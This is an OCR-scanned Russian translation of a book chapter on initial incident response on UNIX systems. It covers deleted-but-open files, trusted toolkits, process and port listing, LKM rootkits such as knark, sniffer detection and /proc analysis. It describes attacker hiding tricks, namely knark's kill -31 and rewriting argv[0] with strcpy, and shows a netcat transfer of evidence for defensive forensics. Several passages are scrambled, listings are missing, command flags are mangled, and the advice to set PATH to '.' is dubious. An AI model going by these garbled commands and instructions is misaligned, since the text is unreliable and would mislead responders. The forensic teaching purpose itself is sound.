системной оперативной памяти и расположение несвязанных файлов.
Как UNIX удаляет файлы
Когда атакующий выполняет процесс, он, пытаясь скрыть свои действия,
обычно удаляет из файловой системы файл рабочей программы. Он не
удаляет программу на жестком диске в полном смысле этого слова. Атаку-
ющий отсоединяет (unlinking) файл.
UNIX отслеживает для файла счетчик ссылок, который является положи-
тельным целым числом. Он представляет собой число процессов, использу-
ющих файл в данный момент. Когда счетчик ссылок равен нулю, это озна-
чает, что ни один процесс не использует и не нуждается в файле, поэтому
он будет удален. Когда атакующий удаляет свою зловредную программу, то
программа на жестком диске удаляется из цепочки каталогов (по этому
она не будет выводиться в списке ls), счетчик ссылок уменьшается на еди-
ницу, и задается время для удаления файла. Однако заметим, что счетчик
ссылок не будет равен нулю, пока процесс не прекратится.
Файлы, помеченные для удаления (отсоединенные файлы) во время,
когда система выключается либо постепенно (с помощью нормальных
процедур выключения), либо внезапно (выдернули шнур питания) будут
в конце концов удалены в системе. Посмотрим почему.
Когда UNIX монтирует файловую систему, задается бит "file system
dirty" ("файловая система задействована"). Когда операционная система
проходит через нормальный процесс выключения, каждый процесс при-
нудительно закрывается. Процесс атакующего нормально завершается, и
все дескрипторы файлов закрываются. Это означает, что счетчик ссылок
на удаленном файле задается равным нулю. После того как завершились
все процессы и другие необходимые общие действия, файловая система
демонтируется и бит "file system dirty" очищается.
Если операционная система проходит через грубое выключение, фай-
ловая система остается в нестабильном состоянии. Отсоединенные фай-
лы могут по прежнему иметь ложные счетчики ссылок, и бит "file system
dirty" остается заданным. При следующей загрузке монтируются файло
чые системы, и операционная система обнаруживает ненулевое значение
бита "dirty". Чаще всего администратор будет вынужден ждать, пока сис-
тема выполнит проверку системы (fsck). Утилита fsck будет сканировать
всю файловую систему в поисках повреждений. Если утилита встретит
файл с положительным счетчиком ссылок и заданным временем удале-
ния, она уменьшит счетчик ссылок, делая файл "deleted" (удаленным).
Некоторые версии fsck будут повторно соединять осиротевшие файлы
c каталогом lost+found, но на это не стоит рассчитывать.

316
Глава 11
Несвязанные файлы становятся файлами, помеченными для удаления, ког-
да процессы, которые к ним обращаются, прекращаются. Файлы, помечен-
ные для удаления, будут "исчезать" или удаляться, когда система выключает-
ся. Поэтому начальное реагирование должно восстановить каждый тип
изменчивых доказательств, включая файлы, помеченные для удаления. Это
убережет вас об больших проблем, так как восстановление удаленного фай-
ла в большинстве систем UNIX не является простым выполнением утилиты
для отмены удаления.
ОСТОРОЖНО Урок номер один при работе с системами UNIX состоит в том, что вы
не должны выключать машину до выполнения начального реагирова-
ния по поиску файлов, помеченных для удаления. Подобные файлы
можно восстановить во время статического анализа запоминающей
среды, однако это трудная задача.
Выполнение надежной оболочки
При реагировании на инцидент на целевой системе, выполняющей UNIX,
могут встретиться два сценария: система выполняется в консольном режи-
ме или система осуществляет X Window, графический интерфейс, анало-
гичный рабочему столу Windows. Чтобы избежать обычных уязвимостей,
связанных с X Window, которые позволяют атакующему фиксировать нажа-
тие клавиш, необходимо выйти из X Window до начала реагирования. При
реагировании на системе Linux можно будет переключиться на другую вир-
туальную консоль, нажимая ALT F2.
Войдите в систему локально на консоли жертвы, чтобы избежать генера-
ции сетевого трафика, и не забудьте войти с привилегиями административ-
ного уровня. В этом месте необходимо смонтировать свой надежный набор
инструментов и реагируйте с помощью надежных утилит. Далее представ-
лен синтаксис команды для монтирования гибкого диска при реагирова-
нии в системе Linux:
mount /dev/fdO /mnt/floppy
Такая команда монтирует надежный инструментальный набор в точке
монтирования /mnt/floppy. Когда вы перейдете в каталог /mnt/floppy,
вы сможете получить доступ к своим надежным файлам.
Первый шаг при любом реагировании состоит в том, чтобы быть уве-
ренным, что выполняется надежная командная оболочка. Оболочки UNIX
могут быть модифицированы атакующими (троянские программы) с целью
получения записи всех выполненных команд или для осуществления зло-
вредных операций незаметно для исследователя. Поэтому желательно вы-
полнить свою собственную надежную оболочку (используется оболочка
bash). Когда надежная оболочка будет запущена, задайте переменную окру-
жения PATH равной точке (.). Это уменьшит шансы, что случайно будут
выполнены ненадежные команды, которые присутствуют в PATH целевой
системы.

Начальное реагирование в системах UNIX
317
Переименуйте свои надежные утилиты
Еще одной хорошей мерой является незначительное изменение имен на-
дежных утилит стандартных имен файлов UNIX. Например, каждое имя
файла в нашем наборе инструментов начинается с буквы (. Например, вы-
полняется metstat, когда надо выполнить надежную команду netstat. Таким
образом, избегается случайное выполнение нанадежной версии netstat.
Определение зарегистрированных в системе
Определение, кто зарегистрирован в системе, является достаточно про-
стой задачей. Выполните команду w (what). Команда w выводит идентифи-
каторы (ID) зарегистрированных пользователей, с какой системы они заре-
гистрировались и что в настоящее время выполняют в системе. Она также
предоставляет дату и системное время. Мы начинаем и заканчиваем каждое
начальное реагирование с команды w, поэтому можем задать точные вре-
менные рамки при выполнении операции в целевой системе. Кроме того,
можно установить, кто мог быть в системе во время сбора потенциальных
доказательств. Ниже представлен пример использования команды w:
shell:"$ w
11:39pm
up 3:11. 3 users, load average: 1.27,
USER
TTY
FROM
LOGIN© IDLE
nada / ttypO jitter.rahul.net 8:30pm 3:02m
telnet^bothosti
bovine > ttypl shelH.bothostin 8:35pm 3:02m
mandiak ttyp2 adsl 225 75.poto 11:38pm 0.00s
shell1:~$
аж
дн ю з гр зк системы за последние одну, пять и
а
нут.Де леутпанек ого
у равляющий
л
н
важных замечаний, tt^n (где п будет ноль или
с
с
п
вате
ои всист
му с локальной консоли или клавиатуры), ptsn или ttypn могуг озна
FROM содержит полное имя домена или числовой IP адрес уди
т
( в этом поле соответствует локального вх
консоли
Строка заголовка обозначает текущее системное время. Оно показывает,
как долго выполнялась система, сколько пользователей зарегистрировано,
а также среднюю загрузку системы за последние одну, пять и пятнадцать
минут. Далее следует описание каждого из этих полей:
Поле USER показывает имя пользователя, зарегистрированного в дан-
ный момент в системе.
Поле TTY показывает управляющий терминал, присвоенный сеансу
пользователя. Относительно этого столбца необходимо сделать не-
сколько важных замечаний, ttyn (где п будет ноль или положительное
целое) означает регистрацию с консоли (пользователь входит в систе-
му с локальной консоли или клавиатуры), ptsn или ttypn могут озна
чать соединение через сеть.
Поле FROM содержит полное имя домена или числовой IP адрес уда
ленного хоста. Дефис ( ) в этом поле соответствует локального входу
с консоли.
Поле LOGIN@ показывает локальное начальное время соединении.

318
Глава 11
Поле IDLE показывает период времени с момента выполнения по-
следнего процесса.
Поле JCPU показывает время, использованное всеми процессами,
присоединенными к этому try или pts.
Поле PCPU показывает время процессора, использованное текущим
процессом в столбце WHAT.
Столбец WHAT показывает процесс, который пользователь выполня-
ет в данный момент. Другими словами, если пользователь выполняет
команду find /  name*.tgz, для этого потребуется некоторое время.
Выполнение команды w покажет синтаксис команды find в столбце
WHAT.
НАГЛЯДНЫЙ ПРИМЕР
Во время нескольких случаев компьютерного проникновения мы были
ограничены законом и могли извлечь только ту информацию из систем-
ных журналов, которая имела отношение к определенному идентифика-
тору пользователя. Это привело к длительным дискуссиям о низкой веро-
ятности того, что атакующий будет использовать только одну учетную
запись в системе. Тем не менее, нельзя было выполнить команду w без
ограничения вывода только одним пользователем. Поэтому использова-
лась команда w с аргументом идентификатора подозреваемого пользова-
теля. Следующая команда показывает, как одной учетной записью поль-
зователя ограничить вывод w.
{mandiak@snapper ~}$ w mandiak
9:09am up 5 days, 8:15, 2 users, load average: 3.01, 3.01, 3.00
USER TTY
FROM
.LOGIN® IDLE JCPU PCPU WHAT
Mandiak pts/2 10.1.0.225 9:08am 0.00s 0.14s 0.02s w mandiak
Оределение выполняющихся процессов
Критически важно получить снимок всех выполняющихся процессов во
время начального реагирования. Это можно сделать с помощью стандарт-
ной команды ps (статус процесса). Вывод немного меняется в зависимости
от различных вариантов UNIX.
Мы используем ps  eaf в системах Solaris и ps  aux в системах FreeBSD и
Linuх. Далее следует пример вывода работы команды ps в системе Linux:

Начальное реагирование в системах UNIX
319
Можно заметить, что средняя система UNIX имеет значительно больше
выполняющихся процессов, чем можно найти на серверах NT/2000. Это
облегчает атакующим сокрытие зловредных процессов. Системные адми-
нистраторы должны тщательно просматривать сотни выполняющихся про-
цессов на действующих серверах UNIX при поиске зловредных процессов.
В выводе команды ps важным является поле START, которое указывает
на начало процесса. Это крайне полезно, когда будет определено время
произошедшей атаки. Можно будет определить подозрительные процессы
просто по времени, когда они выполнялись.
Что может произойти
Вы выполняете команду ps и замечаете в системе какой то очень странный
процесс. Вы уверены, что не инициировали данный процесс, и хотите
знать, кто это сделал.
Где искать доказательства
Сокращенный вывод команды ps, которая вызвала тревогу:
# ps  aux

320
Глава 11
Чем является процесс 6244? Он представляется процессом с именем
9\37777777761\37777777777\37777777677. Атака какого вида будет созда-
вать такую странную запись в списке процессов? Вот другой пример странно
выполняющегося процесса:
гооt 1417 0.3 1.4 1816 900 ? S 08:17
0:00 %[][]i
Две командные строки указывают на то, что кто то в настоящее время
выполняет а системе атаку переполнения буфера. Это может означать, что
кто то имеет неавторизованный доступ к системе. Необходимо немедленно
выполнить команду netstat, чтобы увидеть, какие адреса IP в настоящее вре-
мя соединены с системой.
бнаружение загружаемых модулей ядра Rootkit
Rootkit является совокупностью модифицированных обычно троянскими
программами системных процессов и сценариев, которые автоматизируют
многие действия, предпринимаемые атакующим при компрометации сис
темы. Rootkit будут содержать троянские ifconfig, netstat ls, ps и многие дру-
гие файлы для сокрытия своих действий от неосторожных системных ад-
министраторов. Rootkit бесплатно доступны в Интернете и существуют
практически для любой разновидности UNIX. Наиболее развитые наборы
являются загружаемыми модулями ядра (LKM --- Loadable Kernel Modules),
которые представляют обычное средство для большинства систем UNIX.
LKM могут скрывать файлы, процессы и создавать незаконные черные
ходы в системе. Solaris, Linux и практически все разновидности UNIX под-
держивают LKM, которые иногда называются загружаемыми модулями
ядра (Kernel Loadable Modules). Утилиты атакующего, которые являются
LKM, увеличивают сложность выполнения начального реагирования и ис-
следований в системах UNIX. Давайте посмотрим почему.
Ядро UNIX является одной программой. LKM являются программами, ко
торые могут динамически компоноваться с ядром после загрузки системы, и
модули изменяют операционную систему. Предположим, что в систему UNIX не-
обходимо добавить новый сетевой адаптер. Можно просто загрузить драйве-
ры для нового адаптера как LKM. Это делает драйвер частью ядра, и теперь
можно использовать новый сетевой адаптер не перезагружая систему.
Эта возможность изменения поведения операционной системы являет-
ся ключевой концепцией LKM. Не так давно атакующие поняли, что LKM
предоставляет им возможность изменять поведение каждой команды, кото-
рую выполняет системный администратор. Злонамеренные LKM, установ-
ленные атакующими, могут перехватывать системные команды, такие как
netstat, ifconfig, ps, ls, и lsmod и выдавать ложные результаты.
ВИМАНИЕ Все операционные системы предоставляют доступ к структурам и
функциям ядра с помощью системных вызовов. Это означает, что
когда приложению или команде необходимо обратиться к ресурсу,
которым компьютер управляет через ядро, они будут действовать
через системные вызовы. Системные вызовы делаются практиче-
ски для любой команды, которую вводит пользователь.

Начальное реагирование в системах UNIX
321
LKM rootkits, такие как knark, adore и heroin доставляют проблемы ис-
следователям. Типичный системный администратор, который использует
любые утилиты из пространства пользователя (любые нормальные команды
UNIX) для запроса выполняющегося процесса, может пропустить критиче-
скую информацию во время начального реагирования.
Что может произойти
Вы реагируете на предположительное вторжение. Системный администра-
тор обнаружил и перехватил трафик, который предполагает, что кто то ис-
пользует в системе сетевой анализатор. Вы монтируете свой надежный на-
бор инструментов и начинаете реагирование. Листинги ps не показывают
ничего подозрительного, однако по другим признакам можно понять, что
выполняется сетевой анализатор.
Где искать доказательства
Атакующий может иметь установленный LKM. Когда атакующий контроли-
рует систему на административном уровне, он может заставить возвращать
ложную информацию для программы уровня пользователя, такие как ps. Од-
ной из утилит, которая может использоваться, является knark. Эта троян-
ская программа LKM для Linux позволяет атакующему скрыть любой про-
цесс. Когда LKM установлен, атакующий посылает сигнал 31 (через kill  31)
процессу, который он хочет скрыть. Knark LKM позаботится об остальном.
Единственный способ обойти LKM --- это использовать утилиты из своего на-
бора. Также желательно иметь kstat, очень полезную утилиту для обнаруже-
ния модулей rootkit.
ИНФОРМАЦИОННЫЕ РЕСУРСЫ В ИНТЕРНЕТЕ
kstat: http://www.sOftpj.org/en/site.html
Adore rootkit: http://www.team teso.net/
knark LKM rootkit: http://packetstorm.security.com/mag/b4b0/b4b0 09.txt
Интервью с автором knark: http://jclemens.org/knark/creed_interviewl.html
Solaris LKM: http://packetstorm.securify.eom/groups/thc/slkm l.0.html
Описание Linux LKM: http://www.ddj.com/articles/1995/9505/9505a/9505a.htm?
topic unix
Обнаружение открытых портов и слушающих приложений
Netstat является основной командой для перечисления открытых портов в
системе UNIX. Сложным остается вопрос определения, какие приложения
отвечают за открытые сетевые соединения.
Отображение процессов в открытые порты в системах Linux
В Linux команда netstat имеет параметр  р, который отображает имя прило-
жения и идентификатор его процесса в открытые порты. Ниже представ-
лен сокращенный пример вывода netstat аnр (номера строк добавлены для
ясности):

322
Глава 11
Приведенный выше вывод показывает семь открытых соединений TCP
и одно открытое соединение TJDP. Строка 9 демонстрирует, что соедине-
ние raw слушает ICMP, а строка 10 указывает на то, что ядро также слушает
пакеты TCP. Если проверить строку 2, то можно увидеть, что демон безо-
пасной оболочки, sshd, с PID равным 395, слушает соединения на ТСР пор
те 22. Строки 1, 3, 4, 5, 6 и 7 показывают, что inetd с идентификатором про-
цесса (PID) 385 слушает на ТСР портах 143, 512, 513, 514, 23 и 21. Теперь
можно понять, какие процессы отвечают за открытие определенных портов
Интернета.
Отображение процессов в открытые порты в других системах UNIX
Отображение открытого порта в процесс, слушающий на этом порте, явля-
ется более сложным на других разновидностях UNIX. Для Solaris, HP UX,
IBM AIX, FreeBSD, BSDI, более старых версий Linux и Ultrix необходимо
получить и откомпилировать lsof (утилита перечисления открытых файлов).
Lsof перечисляет все выполняющиеся процессы и дескрипторы файлов,
которые они открыли. Т.е. lsof покажет все обычные файлы, каталоги, биб-
лиотеки, потоки UNIX и сетевые файлы (такие как NFS или соединения
Интернета), которые открыты в настоящее время, и открывшие их соот-
ветствующие процессы. Чтобы использовать lsof для перечисления только
тех процессов, которые открыли сетевые соединения, используйте следую-
щую командную строку:
lsof  i
Лри использовании lsof во время выполнения начального реагирования на
действующей системе всегда включайте в командную строку параметр  D r.
Если этого не сделать, lsof будет создавать файл кэширования устройства
с именем .lsof_hostname в вашем домашнем каталоге (администратора). По-
мните, что основная цель состоит в минимальном изменении системы.
Что может произойти
Вы реагируете на сервер Solaris, бывший источником распределенной ата-
ки отказа в обслуживании (DDOS), которая разрушила маршрутизатор

Начальное реагирование в системах UNIX
323
вашей компании. Вам необходимо перечислить выполняющиеся процессы,
которые являются агентами DDOS, чтобы можно было прекратить их без
необходимости перезагружать всю систему. (Злонамеренный агент DDOS
будет вероятно снова запущен во время процесса перезагрузки.)
Где искать доказательства
Вы выполняете lsof на сервере Solaris для обнаружения подозрительных
процессов. Можно заметить, что в строках 10 и 11 PID 647 процесс lpq от-
крывает два соединения ICMP. Вы подозреваете, что эти процессы делают
что то не то. Зачем будет какой то процесс, отличный от ядра или работаю-
щего клиента ping, слушать ICMP? Следующий вывод lsof был получен на
сервере Solaris жертвы, на котором выполнялся агент DDOS Stacheldracht.
ИНФОРМАЦИОННЫЕ РЕСУРСЫ В ИНТЕРНЕТЕ
lsof: ftp://vic.cc.purdue.edu/pub/tools/unix/lsof/
Агечт DDOS Stacheldracht: http://www.sans.org/y2k/stacheldraht.htm
Выявление незаконных сетевых анализаторов в системах UNIX
Выявление сетевого анализатора в целевой системе делает атаку более серь-
езной. Это предполагает, что компрометация скорее всего охватывает более
одной системы и означает также, что атакующий имеет доступ администра-
------- ypoвня (обычно невозможно выполнить сетевой анализатор, не
имея привилегий административного уровня),

324
Глава 11
Чтобы определить, что в системе выполняется сетевой анализатор, не-
обходимо проверить, не находится ли сетевая карта Ethernet в неразборчи-
вом режиме. Для этого используется команда ifconfig. Следующий пример
показывает команду ifconfig, запрашивающую первый интерфейс Ethernet
(с добавленными номерами строк). Если необходимо запросить все сете-
вые адаптеры в системе, используйте параметр  a (ifconfig  а). Отметим,
что обычно требуется иметь доступ административного уровня для опроса
интерфейса:
[root@homer]it ifconfig  i ethO
1) ethO
Link encap:Ethernet HWaddr 00:60:97:8A:5D:2A
2)
inet addr:192.168.10.100 Beast:192.168.10.255
Mask:255.255.255.0
3)
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
4)
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
5)
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
6)
collisions:0 txqueuelen:100
7)
Interrupts Base address:0x300
момент
ли
оием
[root@homer knark]# ifconfig  i ethO
1) ethO Link encap:Ethernet HWaddr 00:60:97:8A:5D:2A
2)
inet addr:192.168.10.100 Beast:192.168.10.255
Mask:255.255.255.0
3)
UP BROADCAST RUNNING PROMISC MULTICAST MTU:1500 Metric:1
4)
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
5)
TX packets:9 errors:0 dropped:0, overruns'.O carrier.O
6)
collisions:0 txqueuelen:100
7)
Interrupts Base address:0x300
ВНИМАНИЕ Флаг PROMISC работает не в каждом варианте UNIX. Система
RM,о
яе ся команда
Обратите внимание, что в строке 3 отсутствует слово PROMISC. Поэто-
му сетевой адаптер не работает в неразборчивом режиме, и сетевой анали-
затор в данный момент не выполняется (если только система не заражена
троянской программой).
Теперь посмотрим на вывод ifconfig, когда в системе выполняется сете-
вой анализатор.
В этой версии строка 3 содержит слово PROMISC, указывающее, что в на-
стоящее время в системе выполняется сетевой анализатор. Теперь необхо-
димо определить, какой из выполняющихся процессов является незаконной
программой сетевого анализатора.
ВНИМАНИЕ Флаг PROMISC работает не в каждом варианте UNIX. Система Solaris
никогда не показывает флаг PROMISC, когда выполняется команда
ifconfig. Техника, которая используется для определения, что систе-
ма Solaris имеет выполняющийся сетевой анализатор, является
комбинацией Isof и ps.

Начальное реагирование в системах UNIX
325
Что может произойти
Вы подозреваете, что сервер Solaris незаконно используется несколькими
IP адресами со Среднего Востока. Так как вы замечаете, что все больше
учетных записей сотрудников используется хакерами из другой страны, вы
начинаете подозревать, что в системе существует сетевой анализатор.
Где искать доказательства
Так как lsof показывает все открытые файлы, то эта утилита также хорошо
работает для идентификации незаконных программ сетевых анализаторов,
выполняемые атакующими для попытки украсть действительные учетные
записи и пароли пользователей. Обычно сетевые анализаторы открывают
файлы журналов, где они будут хранить имена пользователей и пароли, ко-
торые они перехватывают. Атакующий не хочет перезаписывать уже пере-
хваченные данные, поэтому файлы обычно открываются в режиме добав-
ления. Необходимо выполнить lsof и найти подозрительные процессы,
которые открыли большие, неидентифицируемые файлы. Вот соответству-
ющий результат работы команды lsof, показывающий зловредную програм-
му сетевого анализатора (номера строк добавлены для ясности):

326
Глава 11
(FA: >0x641b5878)
Строка 14 показывает, что процесс lpset обращается к сети через соеди-
нение raw; hme является сетевой платой 10/100 Ethernet в системе Sparc.
(1е здесь означало бы, что процесс обращается к сетевой плате 10Mbps Et-
hernet). Отметим в строке 13, что процесс lpset открыл дескриптор файла 3
для записи, и файл имеет в размере 210185501 байт. Это большой файл.
Что вы об этом думаете?
Теперь необходимо только найти файл в 210 Мбайт, чтобы подтвердить,
что это будет журнал сетевого анализатора. Команда ps на сервере жертве
Solaris показывает, где можно найти журнал сетевого анализатора:
Root 648 10 Sep16? 51:24
/usr/lib/lpset  s  о /dev/ttyt/sn.1
Из этого результата работы можно понять, что программа сетевого ана-
лизатора находится в каталоге /usr/lib и что файл вывода называется
/dev/ttyt/sn. 1.
Следующий шаг состоит в записи отметок времени/даты в системе, а за-
тем предполагаемый журнал сетевого анализатора пересылается в судебную
рабочую станцию с помощью надежных команд dd, des и netcat:
dd if=/dev/ttyt/sn.1 | des  e  c  k password | nc  w 3 192.168.10.210 2222
Проверьте с помощью следующей команды, что судебная рабочая стан-
ция получает соединения на порт 2222 и сохраняет получаемые данные:
nс  1  р 2222 | des  d  с  k password | dd of=sn.1
Эта команда создает файл с именем sn.l на судебной рабочей станции.
Можно задокументировать, откуда получен файл, записывая вывод коман-
ды ls  al на полном имени пути доступа файла.
Просмотр файловой системы /ргос
Файловая система /ргос является псевдо файловой системой, которая испо-
льзуется в качестве интерфейса к структурам данных ядра. Перемещаясь в
каталогах в /ргос, вы в действительности обращаетесь к структурам данных
ядра, а не к реальным каталогам. Каждый процесс имеет подкаталог в /ргос,
который соответствует его идентификатору процесса (ID). Поэтому каждый
выполняющийся процесс будет иметь цифровую структуру подкаталогов.
В этом каталоге находится жизненно важная информация о процессе, ко-
торую исследователь захочет просмотреть. Далее представлено содержи-
мое каталога для процесса с именем /root/ir/lo, выполняемого в системе
Linux:
[root@conan]# /root/ir/lo
[1] 969
Мы выполняем процесс с именем /root/ir/lo, затем команду ps, чтобы
получить идентификатор процесса (ID) для /root/ir/lo:
[root@conan]# ps  aux | grep /root/ir/lo

Начальное реагирование в системах UNIX
327

328
Глава 11
Строка 7 показывает, что программа, которую представляет связь ехе,
была удалена. Если используется Is  color, то утилита будет в действительно-
сти показывать процессы, помеченные для удаления (которые являются
тем же самым, что и отсоединенные файлы) мигающим красным цветом.
Чтобы получить копию "удаленного" исполняемого файла, используйте
команду ср для создания копии выполняющегося исполняемого файла в
файловой системе.
Подкаталог fd в файловой системе /ргос
Исследуя подкаталог fd (file descriptor --- дескриптор файла), можно иденти
фи дировать все файлы, которые открыл процесс. Когда ядро UNIX откры-
вает, читает, записывает или создает файл или сетевое соединение, оно
возвращает дескриптор файла (положительное целое число), используе-
мый для ссылки на файл или сетевое соединение. Можно обычно проигно-
рировать дескрипторы файлов 0, 1 и 2, которые являются предопределен-
ными дескрипторами файлов для стандартного ввода, стандартного вывода
и стандартного вывода ошибок соответственно.
В строках 6 и 7 следующего фрагмента можно видеть, что программа 1о
использует дескрипторы файлов 3 и 4 для ссылок на сетевые соединения.
Что бы ни делал процесс 1о, он слушает некоторый вид сетевых соедине-
ний. В этом случае 1о является демоном Loki (см. главу 8). Это сервер чер-
ного входа, который пересылает и получает ввод через протокол ICMP.
[ гoot@соnаn 970]# cd fd
[root@conan fd]# Is al
1) total 0
2) dr x
2 root root
0Apr 520:12.
3) dr xr xr x 3 root root
0Apr520:12..
4) lrwx
1 root root
64 Apr 5 20:12 1  > /dev/pts/4
5) lrwx
1 root root
64 Apr 5 20:12 2  > /dev/pts/4
6) lrwx
1 root root
64 Apr 5 20:12 3  > socket: [1358]
7) lrwx
1 root root
64 Apr 5 20:12 4  > socket: [1359]
Файл cmdline в файловой системе /ргос
Просмотр файла cmdline показывает точные аргументы командной строки,
использованные при запуске приложения. Обычно они выводятся, когда по-
льзователь выполняет команду ps. Ниже приведен пример содержимого
файла cmdline:
[root@canan 970]# cat cmdline
/root/ir/lo

Начальное реагирование в системах UNIX
329
Что может произойти
Атакующий выполняет хитроумную программу, которая изменяет в /ргос
файл командной строки. Он также отсоединяет все файлы, которые создает
его незаконный процесс, чтобы скрыть их от системного администратора.
Где искать доказательства
Предположим, что мы видим следующий процесс:
[root@conan /proc]# /root/ir/s &
[1] 827
Атакующий выполнил программу с именем s в фоновом режиме (поэтому
символ &). Незаконный процесс получил PID 827. Необходимо определить,
что делает подобная программа. Это зловредный сервер, который открыва-
ет сетевое соединение, или может быть это перехват ввода с клавиатуры или
сетевой анализатор, записывающий где то в системе данные?
Вы немедленно собираетесь проверить каталог /ргос/827, чтобы опре-
делить, какие дескрипторы файлов открыл процесс:
[root@conan /proc]# cd /ргос/827
[root@conan 827]# Is  al
1)total0 /
2) dr xr xr x 'ч3 root root
0Apr 520:06.
3) dr xr xr x 55 root root
0Apr 513:52..
4) r--- r--- r--- 1 root root
0 Apr 5 20:07 cmdline
5) lrwx
1 root root
0 Apr 5 20:07 cwd  > /proc
6)  r
1 root root
0 Apr 5 20:07 environ
7) lrwx
1 root root
0 Apr 5 20:07 exe  > /root/lr/s
8) dr x
2 root root
0Apr 520:07fd
9) pr--- r--- r---' 1 root root
0 Apr 5 20:07 maps
10)  rw
1 root root 0 Apr 5 20:07 mem
11) lrwx
1root root 0Apr 520:07root >/
12)  r---r--- r--- 1 root root 0 Apr 5 20:07 stat
13)  r--- r--- r--- 1 root root 0 Apr 5 20:07 statm
14)  r--- r--- r--- 1 root root 0 Apr 5 20:07 status
15) # cat cmdline
16) /usr/bin/autorun ~ interval=1000   c
Если посмотреть на связь ехе в строке 7, можно видеть, что выполнен
файл /root/ir/s. Однако файл cmdline в строке 16 содержит другое имя:
безобидный процесс /usr/bin/autorun ---interval= 1,000 ---с.
При выполнении ps в этой системе вы увидите выполнение /usr/bin/
autorun  interval=1000  с, а не /root/ir/s. Это один из способов, которым
атакующий может скрыть зловредный процесс. Можно проверить дескрип-
торы файлов, открытые процессом для лучшего понимания его назначения.
[root@conan 827](t cd fd
[root@conan fd]# Is  al
1) total 0

330
Глава 11
2) dr x
2 root root
0Apr520:07.
3) dr xr xr x 3 root root
0Apr520:06..
4) lrwx
1 root root 64 Apr 5 20:07 0  > /dev/pts/3
5) lrwx
1 root root 64 Apr 5 20:07 1  > /dev/pts/3
6) lrwx
1 root root 64 Apr 5 20:07 2  > /dev/pts/3
7) lrwx
1 root root 64 Apr 5 20:07 3  > socket: [1240]
8) lrwx
1root root 64Apr520:074 >
/tmp/.xbackground (deleted)
Помните, что дескрипторы 0, 1 и 2 являются просто стандартным вводом,
стандартным выводом и стандартным выводом ошибок. В строке 7 вы видите
дескриптор файла 3 и понимаете, что открыто сетевое соединение. Проверь-
те дескриптор файла 4 (строка 8) и увидите, что открыт удаленный файл с
именем /tmp/.xbackground. Процесс атакующего является хитроумным се-
тевым анализатором, который записывает из сети учетные записи и паро-
ли пользователей и добавляет их в файл, который был помечен для удале-
ния. Так как файл /tmp/.xbackground отсоединен, то только процесс
/root/ir/s может к нему обращаться. Когда процесс /root/ir/s заканчивает-
ся, файл /tmp/.xbackground будет очень трудно обнаружить и восстановить.
Чистка своих следов
Хорошее начальное реагирование не должно регистрироваться целевой
системой, если только это не является абсолютно необходимым. В то же са-
мое время желательно записать все операции, которые выполняются во
время реагирования. Поэтому многие профессионалы системы безопасно-
сти используют сценарные команды для записи каждого своего действия. В
данном случае важно убедиться, что все файлы, созданные сценарием, хра-
нятся в надежной среде, а не на жестком диске целевой системы. Возмож-
но, понадобится отредактировать файл истории, который записывает дей-
ствия по реагированию.
Когда организация решила оставить систему действующей для сбора до-
полнительных доказательств либо с целью проследить нарушителя, мы сти-
раем свои следы (и записываем, что сделали это!) при реагировании в слу-
чае вторжения в компьютер. Это особенно важно, если атакующий может
все еще иметь доступ к системе.
ВЫП0ЛНЕНИЕ УГЛУБЛЕННОГО РЕАГИРОВАНИЯ
НА ДЕЙСТВУЮЩЕЙ СИСТЕМЕ
Будут встречаться ситуации, когда вы реагируете на целевой системе, кото-
рая должна оставаться в рабочем состоянии. В тех случаях, когда судебное
дублирование кажется маловероятным, но все равно желательно получить
достаточно информации, чтобы доказать обвинение, можно использовать
команды dd, cat, netcat и des. Кроме того, можно применять cryptcat для по-
лучения файлов журналов, конфигурационных файлов и любых других
файлов.

Начальное реагирование в системах UNIX
331
Как изменить во время выполнения
командную строку программы
Мы встречали много атак, где командная строка, посылаемая атакую-
щим, изменяется во время выполнения. Давайте погрузимся в програм-
мирование на С, чтобы увидеть, как атакующие во время выполнения пе-
реименовывают программы, которые они выполняют, чтобы скрыть
свои зловредные процессы.
Каждая программа С имеет функцию с именем main в качестве своей
точки запуска. Main может получать два параметра: argv и argc. Argv явля-
ется массивом строковых значений, которые представляют аргументы
командной строки. Например, argv[0], первая строка в массиве, являет-
ся именем исполняемой программы. Argc представляет собой целое зна-
чение, показывающее число аргументов командной строки. Если просто
выполнить команду без аргументов, то argc будет равно одному.
Предположим, что выполняется следующая команда:
tcpdump  х  v  n
Тогда параметры argv и argc будут следующими:
argv [0] = tcpdump
argv[l] = x
argv [2] = v
argv[3] = n
argc=4
Атакующий может изменить значения аргументов, копируя другие
значения в массив argv. Например, если добавить следующую строку
кода С в функцию main из tcdump, то вы измените имя программы на
xterm:
strcpy(argv[0], "xterm");
Теперь argv[0] будет равно xterm, а не tcpdump. Затем можно также
скопировать пробелы или символы null в аргументы командной строки,
чтобы скрыть, что может делать процесс. Это простые приемы, которые
атакующие используют для сокрытия своих процессов.
Получение времени модификации, создания
и доступа всех файлов
Если вы решили выполнить углубленное начальное реагирование, необхо-
димо извлечь все отметки времени/даты в файловой системе. Используйте
надежную команду Is с подходящими аргументами командной строки для
получения времени доступа, модификации и создания каждого файла.
Следующие строки показывают, как получить отметки времени/даты и
сохранить вывод на надежном гибком диске:
Is  alRu > /floppy/access

332
Глава 11
НАГЛЯДНЫЙ ПРИМЕР
Недавно я выполнял реагирование на машине жертве SQL Server Solaris,
которая была взломана неизвестным лицом. Организация жертва исп-
равляла проблему с маршрутизатором, когда они обнаружили случайные
пакеты ICMP, уходящие из их сети. Источником этих незаконных паке-
тов ICMP был внутренний сервер Solaris, широко и часто используемый
организацией.
Анализ пакетов ICMP показал, что они содержат в своей полезной на-
грузке строку "skyllz", которая обозначает пакет маяка DDOS, исходящий
от агента Stacheldracht. Я сказал клиенту, что мог бы исправить положе-
ние, но у организации было множество проблем, связанных с прерыва-
нием службы. Они попросили, чтобы был найден весь незаконный код и
черные входы. Затем их надо было удалить, не прерывая никакие служ-
бы, предоставляемые машиной жертвой (или не перенапрягая машину).
Другими словами, я не мог выключить машину, отключить сетевые сое-
динения или использовать Safeback или En Case (или любую другую попу-
лярную судебную программу на основе Windows/DOS).
Это отчасти противоречит традиционной судебной компьютерной эк-
спертизе, но, видимо, становится все чаще возникающим требованием
при реагировании на инциденты. Многие организации предпочитают,
чтобы исследователи извлекали данные, не прерывая работу компьютера
жертвы. Я использовал технику, описанную в этой главе для реагирования
на инцидент, минимизируя при этом прерывание работы сервера Solaris.
